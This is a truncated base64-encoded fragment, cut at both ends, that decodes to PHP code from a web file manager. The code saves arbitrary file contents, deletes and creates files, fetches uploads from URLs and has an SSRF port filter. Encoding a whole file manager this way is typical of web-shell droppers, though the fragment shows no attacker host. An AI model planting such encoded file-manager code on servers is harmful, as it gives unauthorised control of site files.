JT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSkge1xuICAgICRyb290X3BhdGggPSBpc3NldCgkZGlyZWN0b3JpZXNfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pID8gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dIDogJHJvb3RfcGF0aDtcbn1cblxuJHJvb3RfcGF0aCA9IHJ0cmltKCRyb290X3BhdGgsICdcXFxcXC8nKTtcbiRyb290X3BhdGggPSBzdHJfcmVwbGFjZSgnXFxcXCcsICdcLycsICRyb290X3BhdGgpO1xuaWYgKCFAaXNfZGlyKCRyb290X3BhdGgpKSB7XG4gICAgZWNobyBcIjxoMT5cIiAuIGxuZygnUm9vdCBwYXRoJykgLiBcIiBcXFwieyRyb290X3BhdGh9XFxcIiBcIiAuIGxuZygnbm90IGZvdW5kIScpIC4gXCIgPFwvaDE+XCI7XG4gICAgZXhpdDtcbn1cblxuZGVmaW5lZCgnRk1fU0hPV19ISURERU4nKSB8fCBkZWZpbmUoJ0ZNX1NIT1dfSElEREVOJywgJHNob3dfaGlkZGVuX2ZpbGVzKTtcbmRlZmluZWQoJ0ZNX1JPT1RfUEFUSCcpIHx8IGRlZmluZSgnRk1fUk9PVF9QQVRIJywgJHJvb3RfcGF0aCk7XG5kZWZpbmVkKCdGTV9MQU5HJykgfHwgZGVmaW5lKCdGTV9MQU5HJywgJGxhbmcpO1xuZGVmaW5lZCgnRk1fRklMRV9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX0ZJTEVfRVhURU5TSU9OJywgJGFsbG93ZWRfZmlsZV9leHRlbnNpb25zKTtcbmRlZmluZWQoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nLCAkYWxsb3dlZF91cGxvYWRfZXh0ZW5zaW9ucyk7XG5kZWZpbmVkKCdGTV9FWENMVURFX0lURU1TJykgfHwgZGVmaW5lKCdGTV9FWENMVURFX0lURU1TJywgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzcuMC4wJywgJzwnKSA/IHNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcykgOiAkZXhjbHVkZV9pdGVtcykpO1xuZGVmaW5lZCgnRk1fRE9DX1ZJRVdFUicpIHx8IGRlZmluZSgnRk1fRE9DX1ZJRVdFUicsICRvbmxpbmVfdmlld2VyKTtcbmRlZmluZSgnRk1fUkVBRE9OTFknLCAkZ2xvYmFsX3JlYWRvbmx5IHx8ICgkdXNlX2F1dGggJiYgIWVtcHR5KCRyZWFkb25seV91c2VycykgJiYgaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSkgJiYgaW5fYXJyYXkoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSwgJHJlYWRvbmx5X3VzZXJzKSkpO1xuZGVmaW5lKCdGTV9JU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXFxcJyk7XG5cbmlmICghaXNzZXQoJF9HRVRbJ3AnXSkgJiYgZW1wdHkoJF9GSUxFUykpIHtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTtcbn1cblxuJHAgPSBpc3NldCgkX0dFVFsncCddKSA/ICRfR0VUWydwJ10gOiAoaXNzZXQoJF9QT1NUWydwJ10pID8gJF9QT1NUWydwJ10gOiAnJyk7XG5cbiRwID0gZm1fY2xlYW5fcGF0aCgkcCk7XG5cbiRpbnB1dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6XC9cL2lucHV0Jyk7XG4kX1BPU1QgPSAoc3RycG9zKCRpbnB1dCwgJ2FqYXgnKSAhPSBGQUxTRSAmJiBzdHJwb3MoJGlucHV0LCAnc2F2ZScpICE9IEZBTFNFKSA/IGpzb25fZGVjb2RlKCRpbnB1dCwgdHJ1ZSkgOiAkX1BPU1Q7XG5cbmRlZmluZSgnRk1fUEFUSCcsICRwKTtcbmRlZmluZSgnRk1fVVNFX0FVVEgnLCAkdXNlX2F1dGgpO1xuZGVmaW5lKCdGTV9FRElUX0ZJTEUnLCAkZWRpdF9maWxlcyk7XG5kZWZpbmVkKCdGTV9JQ09OVl9JTlBVVF9FTkMnKSB8fCBkZWZpbmUoJ0ZNX0lDT05WX0lOUFVUX0VOQycsICRpY29udl9pbnB1dF9lbmNvZGluZyk7XG5kZWZpbmVkKCdGTV9VU0VfSElHSExJR0hUSlMnKSB8fCBkZWZpbmUoJ0ZNX1VTRV9ISUdITElHSFRKUycsICR1c2VfaGlnaGxpZ2h0anMpO1xuZGVmaW5lZCgnRk1fSElHSExJR0hUSlNfU1RZTEUnKSB8fCBkZWZpbmUoJ0ZNX0hJR0hMSUdIVEpTX1NUWUxFJywgJGhpZ2hsaWdodGpzX3N0eWxlKTtcbmRlZmluZWQoJ0ZNX0RBVEVUSU1FX0ZPUk1BVCcpIHx8IGRlZmluZSgnRk1fREFURVRJTUVfRk9STUFUJywgJGRhdGV0aW1lX2Zvcm1hdCk7XG5cbnVuc2V0KCRwLCAkdXNlX2F1dGgsICRpY29udl9pbnB1dF9lbmNvZGluZywgJHVzZV9oaWdobGlnaHRqcywgJGhpZ2hsaWdodGpzX3N0eWxlKTtcblxuXG5pZiAoKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSB8fCAhRk1fVVNFX0FVVEgpICYmIGlzc2V0KCRfUE9TVFsnYWpheCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGhlYWRlcignSFRUUFwvMS4wIDQwMSBVbmF1dGhvcml6ZWQnKTtcbiAgICAgICAgZGllKFwiSW52YWxpZCBUb2tlbi5cIik7XG4gICAgfVxuXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSBcInNlYXJjaFwiKSB7XG4gICAgICAgICRkaXIgPSAkX1BPU1RbJ3BhdGgnXSA9PSBcIi5cIiA/ICcnIDogJF9QT1NUWydwYXRoJ107XG4gICAgICAgICRyZXNwb25zZSA9IHNjYW4oZm1fY2xlYW5fcGF0aCgkZGlyKSwgJF9QT1NUWydjb250ZW50J10pO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICBpZihGTV9SRUFET05MWSl7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09IFwic2F2ZVwiKSB7XG4gICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgICAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCFpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTtcbiAgICAgICAgfVxuICAgICAgICAkZmlsZSA9ICRfR0VUWydlZGl0J107XG4gICAgICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSk7XG4gICAgICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICRmaWxlKTtcbiAgICAgICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpO1xuICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgICAgICB9XG4gICAgICAgIGhlYWRlcignWC1YU1MtUHJvdGVjdGlvbjowJyk7XG4gICAgICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICAgICAkd3JpdGVkYXRhID0gJF9QT1NUWydjb250ZW50J107XG4gICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsIFwid1wiKTtcbiAgICAgICAgJHdyaXRlX3Jlc3VsdHMgPSBAZndyaXRlKCRmZCwgJHdyaXRlZGF0YSk7XG4gICAgICAgIGZjbG9zZSgkZmQpO1xuICAgICAgICBpZiAoJHdyaXRlX3Jlc3VsdHMgPT09IGZhbHNlKSB7XG4gICAgICAgICAgICBoZWFkZXIoXCJIVFRQXC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvclwiKTtcbiAgICAgICAgICAgIGRpZShcIkNvdWxkIE5vdCBXcml0ZSBGaWxlISAtIENoZWNrIFBlcm1pc3Npb25zIFwvIE93bmVyc2hpcFwiKTtcbiAgICAgICAgfVxuICAgICAgICBkaWUodHJ1ZSk7XG4gICAgfVxuXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSBcImJhY2t1cFwiICYmICFlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpIHtcbiAgICAgICAgJGZpbGVOYW1lID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2ZpbGUnXSk7XG4gICAgICAgICRmdWxsUGF0aCA9IEZNX1JPT1RfUEFUSCAuICdcLyc7XG4gICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwYXRoJ10pKSB7XG4gICAgICAgICAgICAkcmVsYXRpdmVEaXJQYXRoID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ3BhdGgnXSk7XG4gICAgICAgICAgICAkZnVsbFBhdGggLj0gXCJ7JHJlbGF0aXZlRGlyUGF0aH1cL1wiO1xuICAgICAgICB9XG4gICAgICAgICRkYXRlID0gZGF0ZShcImRNeS1IaXNcIik7XG4gICAgICAgICRuZXdGaWxlTmFtZSA9IFwieyRmaWxlTmFtZX0teyRkYXRlfS5iYWtcIjtcbiAgICAgICAgJGZ1bGx5UXVhbGlmaWVkRmlsZU5hbWUgPSAkZnVsbFBhdGggLiAkZmlsZU5hbWU7XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRmdWxseVF1YWxpZmllZEZpbGVOYW1lKSkge1xuICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oXCJGaWxlIHskZmlsZU5hbWV9IG5vdCBmb3VuZFwiKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGlmIChjb3B5KCRmdWxseVF1YWxpZmllZEZpbGVOYW1lLCAkZnVsbFBhdGggLiAkbmV3RmlsZU5hbWUpKSB7XG4gICAgICAgICAgICAgICAgZWNobyBcIkJhY2t1cCB7JG5ld0ZpbGVOYW1lfSBjcmVhdGVkXCI7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oXCJDb3VsZCBub3QgY29weSBmaWxlIHskZmlsZU5hbWV9XCIpO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgIGVjaG8gJGUtPmdldE1lc3NhZ2UoKTtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJzZXR0aW5nc1wiKSB7XG4gICAgICAgIGdsb2JhbCAkY2ZnLCAkbGFuZywgJHJlcG9ydF9lcnJvcnMsICRzaG93X2hpZGRlbl9maWxlcywgJGxhbmdfbGlzdCwgJGhpZGVfQ29scywgJHRoZW1lO1xuICAgICAgICAkbmV3TG5nID0gJF9QT1NUWydqcy1sYW5ndWFnZSddO1xuICAgICAgICBmbV9nZXRfdHJhbnNsYXRpb25zKFtdKTtcbiAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRuZXdMbmcsICRsYW5nX2xpc3QpKSB7XG4gICAgICAgICAgICAkbmV3TG5nID0gJ2VuJztcbiAgICAgICAgfVxuXG4gICAgICAgICRlcnAgPSBpc3NldCgkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddKSAmJiAkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddID09IFwidHJ1ZVwiID8gdHJ1ZSA6IGZhbHNlO1xuICAgICAgICAkc2hmID0gaXNzZXQoJF9QT1NUWydqcy1zaG93LWhpZGRlbiddKSAmJiAkX1BPU1RbJ2pzLXNob3ctaGlkZGVuJ10gPT0gXCJ0cnVlXCIgPyB0cnVlIDogZmFsc2U7XG4gICAgICAgICRoY28gPSBpc3NldCgkX1BPU1RbJ2pzLWhpZGUtY29scyddKSAmJiAkX1BPU1RbJ2pzLWhpZGUtY29scyddID09IFwidHJ1ZVwiID8gdHJ1ZSA6IGZhbHNlO1xuICAgICAgICAkdGUzID0gJF9QT1NUWydqcy10aGVtZS0zJ107XG5cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ2xhbmcnXSAhPSAkbmV3TG5nKSB7XG4gICAgICAgICAgICAkY2ZnLT5kYXRhWydsYW5nJ10gPSAkbmV3TG5nO1xuICAgICAgICAgICAgJGxhbmcgPSAkbmV3TG5nO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSAhPSAkZXJwKSB7XG4gICAgICAgICAgICAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA9ICRlcnA7XG4gICAgICAgICAgICAkcmVwb3J0X2Vycm9ycyA9ICRlcnA7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gIT0gJHNoZikge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSA9ICRzaGY7XG4gICAgICAgICAgICAkc2hvd19oaWRkZW5fZmlsZXMgPSAkc2hmO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddICE9ICRzaGYpIHtcbiAgICAgICAgICAgICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gPSAkc2hmO1xuICAgICAgICAgICAgJHNob3dfaGlkZGVuX2ZpbGVzID0gJHNoZjtcbiAgICAgICAgfVxuICAgICAgICBpZiAoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gIT0gJGhjbykge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gPSAkaGNvO1xuICAgICAgICAgICAgJGhpZGVfQ29scyA9ICRoY287XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3RoZW1lJ10gIT0gJHRlMykge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsndGhlbWUnXSA9ICR0ZTM7XG4gICAgICAgICAgICAkdGhlbWUgPSAkdGUzO1xuICAgICAgICB9XG4gICAgICAgICRjZmctPnNhdmUoKTtcbiAgICAgICAgZWNobyB0cnVlO1xuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJwd2RoYXNoXCIpIHtcbiAgICAgICAgJHJlcyA9IGlzc2V0KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgJiYgIWVtcHR5KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgPyBwYXNzd29yZF9oYXNoKCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSwgUEFTU1dPUkRfREVGQVVMVCkgOiAnJztcbiAgICAgICAgZWNobyAkcmVzO1xuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJ1cGxvYWRcIiAmJiAhZW1wdHkoJF9SRVFVRVNUW1widXBsb2FkdXJsXCJdKSkge1xuICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgICAgICB9XG5cbiAgICAgICAgZnVuY3Rpb24gZXZlbnRfY2FsbGJhY2soJG1lc3NhZ2UpXG4gICAgICAgIHtcbiAgICAgICAgICAgIGdsb2JhbCAkY2FsbGJhY2s7XG4gICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRtZXNzYWdlKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGZ1bmN0aW9uIGdldF9maWxlX3BhdGgoKVxuICAgICAgICB7XG4gICAgICAgICAgICBnbG9iYWwgJHBhdGgsICRmaWxlaW5mbywgJHRlbXBfZmlsZTtcbiAgICAgICAgICAgIHJldHVybiAkcGF0aCAuIFwiXC9cIiAuIGJhc2VuYW1lKCRmaWxlaW5mby0+bmFtZSk7XG4gICAgICAgIH1cblxuICAgICAgICAkdXJsID0gIWVtcHR5KCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkgJiYgcHJlZ19tYXRjaChcInxeaHR0cChzKT86XC9cLy4rJHxcIiwgc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkpID8gc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkgOiBudWxsO1xuXG4gICAgICAgICRkb21haW4gPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9IT1NUKTtcbiAgICAgICAgJHBvcnQgPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9QT1JUKTtcbiAgICAgICAgJGtub3duUG9ydHMgPSBbMjIsIDIzLCAyNSwgMzMwNl07XG5cbiAgICAgICAgaWYgKHByZWdfbWF0Y2goXCJcL15sb2NhbGhvc3QkfF4xMjcoPzpcXC5bMC05XSspezAsMn1cXC5bMC05XSskfF4oPzowKlxcOikqPzo/MCoxJFwvaVwiLCAkZG9tYWluKSB8fCBpbl9hcnJheSgkcG9ydCwgJGtub3duUG9ydHMpKSB7XG4gICAgICAgICAgICAkZXJyID0gYXJyYXkoXCJtZXNzYWdlXCIgPT4gXCJVUkwgaXMgbm90IGFsbG93ZWRcIik7XG4gICAgICAgICAgICBldmVudF9jYWxsYmFjayhhcnJheShcImZhaWxcIiA9PiAkZXJyKSk7XG4gICAgICAgICAgICBleGl0KCk7XG4gICAgICAgIH1cblxuICAgICAgICAkdXNlX2N1cmwgPSBmYWxzZTtcbiAgICAgICAgJHRlbXBfZmlsZSA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCBcInVwbG9hZC1cIik7XG4gICAgICAgICRmaWxlaW5mbyA9IG5ldyBzdGRDbGFzcygpO1xuICAgICAgICAkZmlsZWluZm8tPm5hbWUgPSB0cmltKHVybGRlY29kZShiYXNlbmFtZSgkdXJsKSksIFwiLlxceDAwLi5cXHgyMFwiKTtcblxuICAgICAgICAkYWxsb3dlZCA9IChGTV9VUExPQURfRVhURU5TSU9OKSA/IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKSA6IGZhbHNlO1xuICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZWluZm8tPm5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xuICAgICAgICAkaXNGaWxlQWxsb3dlZCA9ICgkYWxsb3dlZCkgPyBpbl9hcnJheSgkZXh0LCAkYWxsb3dlZCkgOiB0cnVlO1xuXG4gICAgICAgICRlcnIgPSBmYWxzZTtcblxuICAgICAgICBpZiAoISRpc0ZpbGVBbGxvd2VkKSB7XG4gICAgICAgICAgICAkZXJyID0gYXJyYXkoXCJtZXNzYWdlXCIgPT4gXCJGaWxlIGV4dGVuc2lvbiBpcyBub3QgYWxsb3dlZFwiKTtcbiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KFwiZmFpbFwiID0+ICRlcnIpKTtcbiAgICAgICAgICAgIGV4aXQoKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGlmICghJHVybCkge1xuICAgICAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTtcbiAgICAgICAgfSBlbHNlIGlmICgkdXNlX2N1cmwpIHtcbiAgICAgICAgICAgIEAkZnAgPSBmb3BlbigkdGVtcF9maWxlLCBcIndcIik7XG4gICAgICAgICAgICBAJGNoID0gY3VybF9pbml0KCR1cmwpO1xuICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX05PUFJPR1JFU1MsIGZhbHNlKTtcbiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgdHJ1ZSk7XG4gICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTtcbiAgICAgICAgICAgIEAkc3VjY2VzcyA9IGN1cmxfZXhlYygkY2gpO1xuICAgICAgICAgICAgJGN1cmxfaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpO1xuICAgICAgICAgICAgaWYgKCEkc3VjY2Vzcykge1xuICAgICAgICAgICAgICAgICRlcnIgPSBhcnJheShcIm1lc3NhZ2VcIiA9PiBjdXJsX2Vycm9yKCRjaCkpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQGN1cmxfY2xvc2UoJGNoKTtcbiAgICAgICAgICAgIGZjbG9zZSgkZnApO1xuICAgICAgICAgICAgJGZpbGVpbmZvLT5zaXplID0gJGN1cmxfaW5mb1tcInNpemVfZG93bmxvYWRcIl07XG4gICAgICAgICAgICAkZmlsZWluZm8tPnR5cGUgPSAkY3VybF9pbmZvW1wiY29udGVudF90eXBlXCJdO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgJGN0eCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgpO1xuICAgICAgICAgICAgQCRzdWNjZXNzID0gY29weSgkdXJsLCAkdGVtcF9maWxlLCAkY3R4KTtcbiAgICAgICAgICAgIGlmICghJHN1Y2Nlc3MpIHtcbiAgICAgICAgICAgICAgICAkZXJyID0gZXJyb3JfZ2V0X2xhc3QoKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgIGlmICgkc3VjY2Vzcykge1xuICAgICAgICAgICAgJHN1Y2Nlc3MgPSByZW5hbWUoJHRlbXBfZmlsZSwgc3RydG9rKGdldF9maWxlX3BhdGgoKSwgJz8nKSk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHN1Y2Nlc3MpIHtcbiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KFwiZG9uZVwiID0+ICRmaWxlaW5mbykpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgdW5saW5rKCR0ZW1wX2ZpbGUpO1xuICAgICAgICAgICAgaWYgKCEkZXJyKSB7XG4gICAgICAgICAgICAgICAgJGVyciA9IGFycmF5KFwibWVzc2FnZVwiID0+IFwiSW52YWxpZCB1cmwgcGFyYW1ldGVyXCIpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZXZlbnRfY2FsbGJhY2soYXJyYXkoXCJmYWlsXCIgPT4gJGVycikpO1xuICAgICAgICB9XG4gICAgfVxuICAgIGV4aXQoKTtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydkZWwnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICAkZGVsID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsIGZtX2NsZWFuX3BhdGgoJF9HRVRbJ2RlbCddKSk7XG4gICAgaWYgKCRkZWwgIT0gJycgJiYgJGRlbCAhPSAnLi4nICYmICRkZWwgIT0gJy4nICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICAgICAgfVxuICAgICAgICAkaXNfZGlyID0gaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRkZWwpO1xuICAgICAgICBpZiAoZm1fcmRlbGV0ZSgkcGF0aCAuICdcLycgLiAkZGVsKSkge1xuICAgICAgICAgICAgJG1zZyA9ICRpc19kaXIgPyBsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKSA6IGxuZygnRmlsZScpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKTtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAkaXNfZGlyID8gbG5nKCdGb2xkZXInKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCdub3QgZGVsZXRlZCcpIDogbG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnbm90IGRlbGV0ZWQnKTtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGZpbGUgb3IgZm9sZGVyIG5hbWUnKSwgJ2Vycm9yJyk7XG4gICAgfVxuICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ25ld2ZpbGVuYW1lJ10sICRfUE9TVFsnbmV3ZmlsZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgICR0eXBlID0gdXJsZGVjb2RlKCRfUE9TVFsnbmV3ZmlsZSddKTtcbiAgICAkbmV3ID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsIGZtX2NsZWFuX3BhdGgoc3RyaXBfdGFncygkX1BPU1RbJ25ld2ZpbGVuYW1lJ10pKSk7XG4gICAgaWYgKGZtX2lzdmFsaWRfZmlsZW5hbWUoJG5ldykgJiYgJG5ldyAhPSAnJyAmJiAkbmV3ICE9ICcuLicgJiYgJG5ldyAhPSAnLicgJiYgdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkdHlwZSA9PSBcImZpbGVcIikge1xuICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCAuICdcLycgLiAkbmV3KSkge1xuICAgICAgICAgICAgICAgIGlmIChmbV9pc192YWxpZF9leHQoJG5ldykpIHtcbiAgICAgICAgICAgICAgICAgICAgQGZvcGVuKCRwYXRoIC4gJ1wvJyAuICRuZXcsICd3Jykgb3IgZGllKCdDYW5ub3Qgb3BlbiBmaWxlOiAgJyAuICRuZXcpO1xuICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCBmbV9lbmMoJG5ldykpKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJG5ldywgZmFsc2UpID09PSB0cnVlKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCAkbmV3KSk7XG4gICAgICAgICAgICB9IGVsc2VpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8